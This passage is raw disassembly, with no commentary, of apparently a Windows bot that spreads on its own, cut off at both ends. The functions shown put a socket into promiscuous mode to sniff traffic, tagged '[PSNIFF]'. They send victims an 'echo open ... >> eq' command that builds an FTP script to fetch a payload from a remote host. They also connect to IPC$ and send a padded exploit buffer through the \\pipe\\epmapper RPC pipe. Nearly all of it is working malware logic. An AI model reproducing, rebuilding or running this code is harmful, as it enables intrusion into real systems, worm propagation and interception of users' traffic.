0Ch mov [ebp+var_1C], 2 push esi call dword_43C554 ; ntohs push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40A08A pop ecx push eax call dword_43C594 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_43C5D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_4025A5 call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_424650 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402588 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412BD1 add esp, 14h loc_402588: ; CODE XREF: sub_4024D0+96j lea eax, [ebp+var_2B4] push eax call sub_40B078 push [ebp+var_30] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_4025A5: ; CODE XREF: sub_4024D0+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4416D4[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43C580 ; bind cmp eax, 0FFFFFFFFh jnz short loc_40262A call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_424608 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402606 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412BD1 add esp, 14h loc_402606: ; CODE XREF: sub_4024D0+114j lea eax, [ebp+var_2B4] push eax call sub_40B078 pop ecx push edi call dword_43C5EC ; closesocket push [ebp+var_30] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread loc_40262A: ; CODE XREF: sub_4024D0+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43C500 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4026AD call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_4245B8 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402689 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412BD1 add esp, 14h loc_402689: ; CODE XREF: sub_4024D0+197j lea eax, [ebp+var_2B4] push eax call sub_40B078 pop ecx push edi call dword_43C5EC ; closesocket push [ebp+var_30] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread loc_4026AD: ; CODE XREF: sub_4024D0+177j push ebx mov ebx, offset dword_423CA8 loc_4026B3: ; CODE XREF: sub_4024D0+21Cj ; sub_4024D0+22Ej ... push 0FFFFh lea eax, [ebp+var_102B4] push esi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push 0FFFFh push eax push edi call dword_43C56C ; recv cmp eax, 0FFFFFFFFh jz loc_4027C5 cmp [ebp+var_102AB], 6 jnz short loc_4026B3 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_4026B3 lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_4158E0 pop ecx test eax, eax pop ecx jnz short loc_4026B3 xor edi, edi mov eax, ebx mov [ebp+arg_0], ebx loc_40271E: ; CODE XREF: sub_4024D0+269j push eax lea eax, [ebp+var_1028C] push eax call sub_4158E0 pop ecx test eax, eax pop ecx jnz short loc_402743 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_40271E loc_40273B: ; CODE XREF: sub_4024D0+2F0j mov edi, [ebp+var_4] jmp loc_4026B3 ; --------------------------------------------------------------------------- loc_402743: ; CODE XREF: sub_4024D0+25Fj lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43C490 ; ntohs movzx eax, ax push eax push [ebp+var_C] call dword_43C5E0 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_423CBC[eax*8] push off_423C98[eax*4] lea eax, [ebp+var_2B4] push offset unk_424560 push 200h push eax call sub_41588A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_4027B3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412BD1 add esp, 14h loc_4027B3: ; CODE XREF: sub_4024D0+2C1j lea eax, [ebp+var_2B4] push eax call sub_40B078 pop ecx jmp loc_40273B ; --------------------------------------------------------------------------- loc_4027C5: ; CODE XREF: sub_4024D0+20Fj call dword_43C4E8 ; WSAGetLastError push eax push offset unk_424518 lea eax, [ebp+var_2B4] push 200h push eax call sub_41588A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_40280B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_412BD1 add esp, 14h loc_40280B: ; CODE XREF: sub_4024D0+319j lea eax, [ebp+var_2B4] push eax call sub_40B078 pop ecx push edi call dword_43C5EC ; closesocket push [ebp+var_30] call sub_4150F0 pop ecx push esi call dword_421048 ; ExitThread sub_4024D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40282F proc near ; CODE XREF: sub_40297A+442p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_14] push esi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_4211DC ; inet_addr mov [ebp+var_10], eax mov ax, word_424F98 push eax call dword_4211E0 ; ntohs push esi push 1 push 2 mov [ebp+var_12], ax call dword_4211E4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40294F lea eax, [ebp+var_14] push 10h push eax push edi call dword_4211E8 ; connect cmp eax, 0FFFFFFFFh jz loc_40294F push esi lea eax, [ebp+var_5A4] push 400h push eax push edi call dword_4211EC ; recv mov esi, offset byte_42C2BC mov ebx, 190h push esi push esi push offset aDd_ ; "dd." push offset aDd ; "dd" push offset a78799 ; "78799" push offset byte_46AB2D push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"... lea eax, [ebp+var_1A4] push ebx push eax call sub_41588A add esp, 24h lea eax, [ebp+var_1A4] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A4] push eax push edi mov edi, dword_4211F0 call edi ; send cmp eax, 0FFFFFFFFh jz short loc_40294F push 1F4h call dword_421060 ; Sleep push esi push offset dword_425090 lea eax, [ebp+var_1A4] push ebx push eax call sub_41588A add esp, 10h lea eax, [ebp+var_1A4] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_402953 loc_40294F: ; CODE XREF: sub_40282F+54j ; sub_40282F+6Aj ... xor al, al jmp short loc_402975 ; --------------------------------------------------------------------------- loc_402953: ; CODE XREF: sub_40282F+11Ej push 0 lea eax, [ebp+var_5A4] push 400h push eax push [ebp+var_4] call dword_4211EC ; recv push [ebp+var_4] call dword_4211F4 ; closesocket mov al, 1 loc_402975: ; CODE XREF: sub_40282F+122j pop edi pop esi pop ebx leave retn sub_40282F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40297A proc near ; CODE XREF: sub_402DD1+11Bp ; sub_402DD1+13Dp var_89B0 = byte ptr -89B0h var_8948 = byte ptr -8948h var_68D8 = byte ptr -68D8h var_6868 = byte ptr -6868h var_5DA4 = byte ptr -5DA4h var_4800 = byte ptr -4800h var_47FF = byte ptr -47FFh var_376C = byte ptr -376Ch var_2CA8 = byte ptr -2CA8h var_2CA7 = byte ptr -2CA7h var_2CA4 = byte ptr -2CA4h var_2C28 = byte ptr -2C28h var_2458 = byte ptr -2458h var_1FAD = byte ptr -1FADh var_1CC0 = byte ptr -1CC0h var_14DC = byte ptr -14DCh var_14CC = byte ptr -14CCh var_11A8 = byte ptr -11A8h var_11A4 = byte ptr -11A4h var_1198 = byte ptr -1198h var_F10 = byte ptr -0F10h var_E70 = byte ptr -0E70h var_764 = dword ptr -764h var_754 = byte ptr -754h var_740 = byte ptr -740h var_100 = byte ptr -100h var_FF = byte ptr -0FFh var_B0 = byte ptr -0B0h var_AD = byte ptr -0ADh var_83 = byte ptr -83h var_81 = byte ptr -81h var_80 = byte ptr -80h var_38 = byte ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = dword ptr -6 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B0h call sub_415B90 mov eax, dword_425110 push ebx mov [ebp+var_10], eax mov eax, dword_425114 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_38] push offset loc_425104 push eax call sub_415316 add esp, 0Ch xor eax, eax loc_4029B1: ; CODE XREF: sub_40297A+4Ej mov cl, [ebp+eax+var_38] and [ebp+eax*2+var_FF], 0 mov [ebp+eax*2+var_100], cl inc eax cmp eax, 28h jl short loc_4029B1 push 60h lea eax, [ebp+var_B0] push offset dword_424B90 push eax call sub_4153F0 lea eax, [ebp+var_38] push eax call sub_415B10 add eax, eax push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax call sub_4153F0 add esp, 1Ch lea eax, [ebp+var_38] push 9 push (offset aC+3) push eax call sub_415B10 pop ecx lea eax, [ebp+eax*2+var_81] push eax call sub_4153F0 lea eax, [ebp+var_38] push eax call sub_415B10 add al, 1Ah push 1 add al, al mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_AD] push eax call sub_4153F0 lea eax, [ebp+var_38] push eax call sub_415B10 add al, al push 1 add al, 9 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_83] push eax call sub_4153F0 mov ax, word_424F98 add esp, 2Ch push eax call dword_4211E0 ; ntohs xor eax, 9999h push 2 mov [ebp+var_6], eax lea eax, [ebp+var_6] push eax push offset dword_424888 call sub_4153F0 add esp, 0Ch cmp [ebp+arg_C0], 0 jz loc_402B73 mov edi, 0DACh lea eax, [ebp+var_1CC0] push edi push 90h push eax call sub_415390 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea ebx, dword_424FD8[eax] lea eax, [ebp+var_14DC] push ebx push eax call sub_4153F0 mov esi, offset loc_4247D8 push esi call sub_415B10 push eax lea eax, [ebp+var_14CC] push esi push eax call sub_4153F0 push 4 lea eax, [ebp+var_11A8] push offset loc_4250FC push eax call sub_4153F0 push 4 lea eax, [ebp+var_11A4] push ebx push eax call sub_4153F0 add esp, 40h push esi call sub_415B10 push eax lea eax, [ebp+var_1198] push esi push eax call sub_4153F0 add esp, 10h xor eax, eax loc_402B22: ; CODE XREF: sub_40297A+1C1j mov cl, [ebp+eax+var_1CC0] and [ebp+eax*2+var_47FF], 0 mov [ebp+eax*2+var_4800], cl inc eax cmp eax, edi jl short loc_402B22 and [ebp+var_2CA8], 0 and [ebp+var_2CA7], 0 mov esi, 1C52h lea eax, [ebp+var_89B0] push esi push 31h push eax call sub_415390 push esi lea eax, [ebp+var_68D8] push 31h push eax call sub_415390 add esp, 18h jmp short loc_402BCA ; --------------------------------------------------------------------------- loc_402B73: ; CODE XREF: sub_40297A+116j push 7D0h lea eax, [ebp+var_F10] push 90h push eax call sub_415390 mov esi, offset loc_4247D8 push esi call sub_415B10 push eax lea eax, [ebp+var_E70] push esi push eax call sub_4153F0 lea eax, [ebp+var_10] push eax call sub_415B10 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_754] push eax call sub_4153F0 mov eax, dword_424FD8 add esp, 2Ch mov [ebp+var_764], eax loc_402BCA: ; CODE XREF: sub_40297A+1F7j push 0E29h lea eax, [ebp+var_2CA4] push 31h push eax call sub_415390 movsx eax, [ebp+var_1] add esp, 0Ch add eax, 4 mov esi, dword_4211F0 push 0 push eax lea eax, [ebp+var_B0] push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jnz short loc_402C0B loc_402C04: ; CODE XREF: sub_40297A+2C2j ; sub_40297A+2EDj ... xor al, al jmp loc_402DCC ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_40297A+288j mov edi, dword_4211EC mov ebx, 640h push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 68h push offset dword_424BF8 push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C04 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0A0h push offset dword_424C68 push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_402C04 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv cmp [ebp+arg_C0], 0 jz loc_402D37 push 68h lea eax, [ebp+var_89B0] push offset dword_424E28 push eax call sub_4153F0 lea eax, [ebp+var_4800] push 1B5Ah push eax lea eax, [ebp+var_8948] push eax call sub_4153F0 push 70h lea eax, [ebp+var_68D8] push offset dword_424E98 push eax call sub_4153F0 lea eax, [ebp+var_376C] push 0A5Eh push eax lea eax, [ebp+var_6868] push eax call sub_4153F0 push 84h lea eax, [ebp+var_5DA4] push offset dword_424F10 push eax call sub_4153F0 add esp, 3Ch lea eax, [ebp+var_89B0] push 0 push 10FCh push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C04 push 0 lea eax, [ebp+var_740] push ebx push eax push [ebp+arg_BC] call edi ; recv push 0 push 0FDCh lea eax, [ebp+var_68D8] jmp short loc_402D8F ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_40297A+308j push 7Ch lea eax, [ebp+var_2CA4] push offset dword_424D10 push eax call sub_4153F0 lea eax, [ebp+var_F10] push 7D0h push eax lea eax, [ebp+var_2C28] push eax call sub_4153F0 push 90h lea eax, [ebp+var_2458] push offset off_424D90 push eax call sub_4153F0 add esp, 24h and [ebp+var_1FAD], 0 lea eax, [ebp+var_2CA4] push 0 push 0CF8h loc_402D8F: ; CODE XREF: sub_40297A+3BBj push eax push [ebp+arg_BC] call esi ; send cmp eax, 0FFFFFFFFh jz loc_402C04 push 12Ch call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40282F add esp, 0BCh test al, al setnz al loc_402DCC: ; CODE XREF: sub_40297A+28Cj pop edi pop esi pop ebx leave retn sub_40297A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD1 proc near ; CODE XREF: seg001:00403E41p var_858 = byte ptr -858h var_814 = byte ptr -814h var_218 = byte ptr -218h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 858h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_18] push edi push eax mov [ebp+var_8], edi call sub_415390 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_18], 2 push eax call dword_4211DC ; inet_addr push [ebp+arg_A0] mov [ebp+var_14], eax call dword_4211E0 ; ntohs push 6 push 1 push 2 mov [ebp+var_16], ax call dword_4211E4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jz loc_402ECE lea eax, [ebp+var_18] push 10h push eax push esi call dword_4211E8 ; connect cmp eax, 0FFFFFFFFh jz loc_402ECE mov ebx, dword_4211F0 push edi push 89h push offset dword_424970 push esi call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402ECE push edi mov edi, 640h lea eax, [ebp+var_858] push edi push eax push esi mov esi, dword_4211EC call esi ; recv push 0 push 0A8h push offset dword_424A00 push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402ECE push 0 lea eax, [ebp+var_858] push edi push eax push [ebp+var_4] call esi ; recv push 0 push 0DEh push offset dword_424AB0 push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402ECE mov ebx, [ebp+var_4] push 0 lea eax, [ebp+var_858] push edi push eax push ebx call esi ; recv movsx eax, [ebp+var_814] sub eax, 30h jz short loc_402ED9 dec eax jz short loc_402ED5 loc_402ECE: ; CODE XREF: sub_402DD1+57j ; sub_402DD1+6Dj ... xor eax, eax jmp loc_402F6F ; --------------------------------------------------------------------------- loc_402ED5: ; CODE XREF: sub_402DD1+FBj push 0 jmp short loc_402EFD ; --------------------------------------------------------------------------- loc_402ED9: ; CODE XREF: sub_402DD1+F8j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40297A add esp, 0C4h test al, al jnz short loc_402F1D push 1 loc_402EFD: ; CODE XREF: sub_402DD1+106j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40297A add esp, 0C4h test al, al jz short loc_402F24 loc_402F1D: ; CODE XREF: sub_402DD1+128j mov [ebp+var_8], 1 loc_402F24: ; CODE XREF: sub_402DD1+14Aj push ebx call dword_4211F4 ; closesocket cmp [ebp+var_8], 0 jz short loc_402F6C push 0 lea eax, [ebp+var_218] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_218] push eax call sub_40B078 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] loc_402F6C: ; CODE XREF: sub_402DD1+15Ej xor eax, eax inc eax loc_402F6F: ; CODE XREF: sub_402DD1+FFj pop edi pop esi pop ebx leave retn sub_402DD1 endp ; --------------------------------------------------------------------------- push ebx push esi push edi lea esi, [esp+10h] sub esp, 0BCh mov dword ptr [esp+16Ch], 87h push 2Fh pop ecx mov edi, esp rep movsd call sub_4033B6 push 2Fh lea esi, [esp+0D0h] pop ecx mov dword ptr [esp+16Ch], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_403C74 add esp, 0BCh test ebx, ebx jnz short loc_402FC6 test eax, eax jz short loc_402FC9 loc_402FC6: ; CODE XREF: seg001:00402FC0j xor eax, eax inc eax loc_402FC9: ; CODE XREF: seg001:00402FC4j pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FCD proc near ; CODE XREF: sub_4033B6+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_425638 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43B188 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415BBF lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415BBF mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_43B184 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43C5F4 cmp eax, 5 mov ebx, 4C3h jz short loc_403091 cmp eax, ebx jnz short loc_40309B loc_403091: ; CODE XREF: sub_402FCD+BEj push edi push edi push edi push esi call dword_43C5F4 loc_40309B: ; CODE XREF: sub_402FCD+C2j cmp eax, 5 jz short loc_4030A9 cmp eax, ebx jz short loc_4030A9 xor eax, eax inc eax jmp short loc_4030AB ; --------------------------------------------------------------------------- loc_4030A9: ; CODE XREF: sub_402FCD+D1j ; sub_402FCD+D5j xor eax, eax loc_4030AB: ; CODE XREF: sub_402FCD+DAj pop edi pop esi pop ebx leave retn sub_402FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030B0 proc near ; CODE XREF: sub_4033B6+7Ap ; sub_4033B6+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_425638 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43B188 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415BBF lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415BBF add esp, 10h jmp short loc_40314E ; --------------------------------------------------------------------------- loc_403143: ; CODE XREF: sub_4030B0+AFj push 7D0h call dword_421060 ; Sleep loc_40314E: ; CODE XREF: sub_4030B0+91j push esi lea eax, [ebp+var_354] push esi push eax call dword_43C494 test eax, eax jnz short loc_403143 pop edi inc eax pop esi leave retn sub_4030B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403166 proc near ; CODE XREF: sub_4033B6+A6p ; sub_4033B6+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_415B90 push esi push edi push offset byte_42C2BC mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A08A pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_414C51 mov edi, eax add esp, 10h test edi, edi jz loc_4033B2 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_4153F0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415390 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_4153F0 lea esi, [edi+0D7h] jmp short loc_403228 ; --------------------------------------------------------------------------- loc_4031EA: ; CODE XREF: sub_403166+D0j mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_4153F0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415390 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_4153F0 lea esi, [esi+edi+30h] loc_403228: ; CODE XREF: sub_403166+82j add esp, 24h mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_4031EA cmp [ebp+arg_C4], 0 jz short loc_403253 cmp [ebp+arg_C0], 3 jz short loc_40325C cmp [ebp+arg_C0], 0 jmp short loc_40325A ; --------------------------------------------------------------------------- loc_403253: ; CODE XREF: sub_403166+D9j cmp [ebp+arg_C0], 3 loc_40325A: ; CODE XREF: sub_403166+EBj jnz short loc_403265 loc_40325C: ; CODE XREF: sub_403166+E2j push 4 push offset dword_425634 jmp short loc_40326C ; --------------------------------------------------------------------------- loc_403265: ; CODE XREF: sub_403166:loc_40325Aj push 4 push offset dword_425630 loc_40326C: ; CODE XREF: sub_403166+FDj lea eax, [ebp+var_1FE0] push eax call sub_4153F0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_425168 push eax call sub_4153F0 push 10h lea eax, [ebp+var_CA4] push offset dword_4254CC push eax call sub_4153F0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_4153F0 lea edi, [esi+370h] push 3Ch push offset off_4254E0 lea eax, [ebp+edi+var_1004] push eax call sub_4153F0 add edi, 3Ch push 30h push offset dword_425520 lea eax, [ebp+edi+var_1004] push eax call sub_4153F0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_415BE9 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_415390 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_4153F0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4033B2: ; CODE XREF: sub_403166+3Ej pop edi pop esi leave retn sub_403166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033B6 proc near ; CODE XREF: seg001:00402F93p ; sub_4076CB+1D7p ; DATA XREF: ... var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 1338h call sub_415B90 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_403524 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_402FCD pop ecx test eax, eax pop ecx jz loc_403634 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_415316 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_421078 ; CreateFileA mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh lea eax, [ebp+arg_4] jnz short loc_40343B loc_40342F: ; CODE XREF: sub_4033B6+126j push eax call sub_4030B0 pop ecx jmp loc_403634 ; --------------------------------------------------------------------------- loc_40343B: ; CODE XREF: sub_4033B6+77j push 2 push eax call sub_412A1D pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403166 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_4034D0 mov edi, 186A0h push edi call sub_415BE9 mov esi, eax push edi push ebx push esi call sub_415390 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_425118 push [ebp+var_4] call dword_421074 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_4034C0 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call dword_421070 ; WriteFile test eax, eax jnz short loc_4034E1 loc_4034C0: ; CODE XREF: sub_4033B6+F0j push esi call sub_415C9B push [ebp+var_8] call sub_415C9B pop ecx pop ecx loc_4034D0: ; CODE XREF: sub_4033B6+B6j push [ebp+var_4] call dword_42106C ; CloseHandle lea eax, [ebp+arg_4] jmp loc_40342F ; --------------------------------------------------------------------------- loc_4034E1: ; CODE XREF: sub_4033B6+108j lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call dword_421068 ; ReadFile push [ebp+var_8] mov edi, eax call sub_415C9B push esi call sub_415C9B pop ecx pop ecx push [ebp+var_4] call dword_42106C ; CloseHandle lea eax, [ebp+arg_4] 